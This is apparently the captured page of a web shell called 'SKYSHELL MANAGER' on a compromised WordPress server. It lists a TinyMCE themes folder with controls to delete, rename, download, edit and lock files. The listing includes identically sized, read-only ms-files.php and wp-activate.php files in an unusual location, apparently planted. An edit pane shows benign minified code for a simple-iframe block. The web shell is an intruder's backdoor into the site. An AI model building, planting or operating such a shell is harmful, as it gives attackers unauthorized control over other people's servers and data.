📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.js
(()=>{"use strict";const e=window.wp.blocks,t=window.wp.element,l=window.wp.blockEditor,a=window.wp.i18n;function i(e){const{attributes:l,block:i}=e,r={frameBorder:0,id:l.anchor||void 0,src:l.iframeSrc||void 0,title:l.titleAttr||void 0,loading:l.useLazyload?"lazy":void 0,className:[l.className,i?.className].filter((e=>!!e)).join(" "),allowFullScreen:l.allowFullscreen||void 0,style:{width:l.iframeWidth||"100%",maxWidth:l.iframeWidth||"100%",height:l.iframeHeight||"320px"}};return"full"!==l.align||r.className.includes("alignfull")||(r.className+=" alignfull"),!r.src||0===(n=r.src).indexOf("data:")||0!==n.indexOf("//")&&0!==n.indexOf("http://")&&0!==n.indexOf("https://")?(0,t.createElement)("div",{className:"placeholder"},(0,a.__)("Please fill the Iframe URL","simple-iframe")):(0,t.createElement)("iframe",r);var n}const r=window.wp.components;function n(e){const{attributes:i,setAttributes:n}=e;return(0,t.createElement)(l.InspectorControls,{key:"inspector"},(0,t.createElement)(r.PanelBody,{title:(0,a.__)("Settings","simple-iframe")},(0,t.createElement)(r.TextControl,{label:(0,a.__)("Iframe URL","simple-iframe"),value:i.iframeSrc,onChange:e=>{n({iframeSrc:e})}}),(0,t.createElement)(r.ToggleControl,{label:(0,a.__)("Allow fullscreen","simple-iframe"),checked:i.allowFullscreen,onChange:e=>{n({allowFullscreen:e})}}),(0,t.createElement)(r.ToggleControl,{label:(0,a.__)("Add lazyload attribute","simple-iframe"),checked:i.useLazyload,onChange:e=>{n({useLazyload:e})}})),(0,t.createElement)(r.PanelBody,{title:(0,a.__)("Style options","simple-iframe")},(0,t.createElement)(r.TextControl,{label:(0,a.__)("Width","simple-iframe"),value:i.iframeWidth,onChange:e=>{n({iframeWidth:e})},help:(0,a.__)("This value is used directly into the style attribute","simple-iframe")}),(0,t.createElement)(r.TextControl,{label:(0,a.__)("Height","simple-iframe"),value:i.iframeHeight,onChange:e=>{n({iframeHeight:e})},help:(0,a.__)("This value is used directly into the style attribute","simple-iframe")})),(0,t.createElement)(r.PanelBody,{title:(0,a.__)("Other options","simple-iframe")},(0,t.createElement)(r.TextControl,{label:(0,a.__)("Title","simple-iframe"),value:i.titleAttr,onChange:e=>{n({titleAttr:e})}})))}const s=JSON.parse('{"u2":"unapersona/simple-iframe"}');(0,e.registerBlockType)(s.u2,{attributes:{align:{type:"string",default:"center"},iframeSrc:{type:"string"},iframeWidth:{type:"string"},iframeHeight:{type:"string"},allowFullscreen:{type:"boolean"},useLazyload:{type:"boolean"},useImportant:{type:"boolean"},titleAttr:{type:"string"}},example:{attributes:{}},supports:{anchor:!0,className:!1,customClassName:!0,align:["none","full"],alignWide:!0},edit:function(e){const{attributes:a}=e,r=(0,l.useBlockProps)();return(0,t.createElement)("div",r,(0,t.createElement)(n,e),(0,t.createElement)(i,{block:r,attributes:a}))},save:function({attributes:e}){return(0,t.createElement)(i,{attributes:e})}})})();
Save